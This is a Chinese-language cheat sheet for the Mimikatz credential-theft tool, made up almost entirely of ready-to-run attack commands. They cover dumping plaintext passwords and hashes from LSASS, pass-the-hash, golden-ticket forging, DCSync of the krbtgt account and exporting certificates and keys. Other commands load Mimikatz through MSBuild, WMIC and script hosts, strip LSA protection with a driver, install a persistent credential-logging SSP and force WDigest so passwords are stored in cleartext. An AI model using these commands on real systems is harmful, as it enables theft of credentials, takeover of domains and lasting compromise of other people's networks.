基础使用
随便输入什么内容如 1 会展示基础功能
使用模块时,可输入::
来查看所有的模块,在模块后加上::
可以查看里面支持的功能
privilege::
cheatsheet
#general
privilege::debug
log
log customlogfilename.log
#sekurlsa
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
#kerberos
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
#crypto
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
crypto::keys /machine /export
#vault & lsadump
vault::cred
vault::list
token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local
#pth
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe
#ekeys
sekurlsa::ekeys
#dpapi
sekurlsa::dpapi
#minidump
sekurlsa::minidump lsass.dmp
#ptt
kerberos::ptt [email protected]
#golden/silver
kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi
kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080
kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi
#tgt
kerberos::tgt
#purge
kerberos::purge
多种方法运行mimikatz
[!NOTE]
此处略过最初的exe版本
powershell
使用脚本Invoke-Mimikatz.ps1,引入后会自动执行
import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz
js
使用 mimikatz.js
cscript mimikatz.js "privilege::debug" "sekurlsa::logonpasswords" "exit"
.net4.0
使用 mimikatz.xml
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
msbuild.exe mimikatz.xml
privilege::debug
sekurlsa::logonpasswords
exit
jscript
使用 mimikatz.xsl,需要.Net Framework 3.5
wmic os get /format:"mimikatz.xsl"
python
使用 pypykatz
pypykatz lsa minidump lsass.dmp
dump明文密码
原始方法
安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存不保存明文的密码。
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit"
# dump内存然后再获取
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
LSA Protection (RunAsPPL)
在 Windows 上防止凭据盗窃时,最简单的方式就是启用 LSA 保护,配置只需要在注册表中添加一个值然后重新启动即可。
# 通过查看变量RunAsPPL是否设置为0x1来检查LSA是否作为受保护的进程运行
# 设置:reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /d 0x01
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# 提升权限
mimikatz # privilege::debug
# 将mimidriver.sys从官方mimikatz存储库上传到mimikatz.exe的同一文件夹(默认在同一文件夹中)
# 再将mimidrv.sys导入系统
mimikatz # !+
# Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
mimilib.dll
Mimikatz提供了一个DLL文件(mimilib.dll
),可以将其放到与LSASS进程(System32 )相同的位置,以便为访问受感染主机的任何用户获得纯文本凭据。
将文件复制到C:\Windows\System32\
位置后,需要修改注册表项以包括新的安全支持提供程序mimilib
。
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f
由于注册表已被篡改并且DLL存储在系统中,因此该方法将在重新启动后继续存在。当域用户再次通过系统进行身份验证时,将创建一个名为kiwissp的新文件,该文件将记录帐户的凭据。
C:\Windows\System32\kiwissp.log
注入SSP
Mimikatz通过向LSASS注入新的安全支持提供程序(SSP)来支持内存技术选项。此技术不需要将mimilib.dll
放入磁盘或创建注册表项。但是,缺点是在重新启动过程中不会持续存在。
privilege::debug
misc::memssp
当用户再次通过系统进行身份验证时,将在System32中创建一个日志文件 C:\Windows\System32\mimilsa.log
,其中将包含纯文本用户密码。
Invoke-MimikatzWDigestDowngrade
更新KB2871997补丁后,可禁用Wdigest Auth强制系统的内存不保存明文口令,此时mimikatz和wce均无法获得系统的明文口令。但是其他一些系统服务(如IIS的SSO身份验证)在运行的过程中需要Wdigest Auth开启,所以补丁采取了折中的办法——安装补丁后可选择是否禁用Wdigest Auth。当然,如果启用Wdigest Auth,内存中还是会保存系统的明文口令。
启用Wdigest Auth,需要将UseLogonCredential的值设为1,然后注销当前用户,用户再次登录后使用mimikatz即可导出明文口令。
手动操作:
# 查询
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest /v UseLogonCredential
# 启用
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
Nishang中的 Invoke-MimikatzWDigestDowngrade 集成了这个功能
Import-Module .\nishang.psm1
# Dump user passwords in plain on Windows 8.1 and Server 2012(会返回锁屏登陆界面)
Invoke-MimikatzWdigestDowngrade
Invoke-Mimikatz